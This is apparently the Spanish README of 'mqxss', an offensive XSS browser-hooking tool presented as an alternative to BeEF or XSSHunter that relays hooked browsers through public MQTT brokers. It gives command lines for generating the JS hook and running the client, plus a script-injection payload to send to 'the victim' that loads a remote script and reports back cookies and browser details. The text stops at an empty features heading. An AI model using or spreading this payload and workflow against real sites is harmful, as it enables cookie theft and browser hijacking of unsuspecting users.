
Comunicación del navegador enganchado sobre MQTT

La ventaja de usar esto en lugar de beef o xsshunter es que, además de alojar el payload js, no hay configuración de infraestructura; puedes usar un broker público (aunque actualmente usa ofuscación, el cifrado está en desarrollo).
Los navegadores enganchados se comunicarán en el tema MQTT del broker que especifiques; hay muchos brokers públicos/gratuitos para probar esto.
El cliente utiliza la librería paho.mqtt de Python, mientras que el payload js utiliza 'mqttws31.min.js', que se obtiene de aquí 'https://cdnjs.cloudflare.com/ajax/libs/paho-mqtt/1.0.1/mqttws31.min.js'.

Para generar un payload JS que enganche navegadores, establece la bandera -g en tiempo de ejecución junto con tus variables de broker, puerto y tema. Al hacerlo, tu payload se creará en la carpeta /js/.
Para ejecutar el cliente, proporciona tu broker, puerto y tema de la siguiente manera
mqxss.py -p 8081 -b some.mqtt.broker.com -t mytopicname
Para ejecutar el cliente con credenciales, proporciona tu broker, puerto, nombre de usuario, contraseña y tema de la siguiente manera
mqxss.py -p 8081 -b some.mqtt.broker.com -t mytopicname -u username -pw password
Envía tu payload XSS a la víctima mientras el cliente mqxss está en ejecución, ej.: '"><script src=https://example.com/x.js async></script> o algo similar; si es vulnerable, deberías recibir una notificación indicando que el navegador se ha conectado con algunos detalles básicos, incluidas cookies, etc.

Características: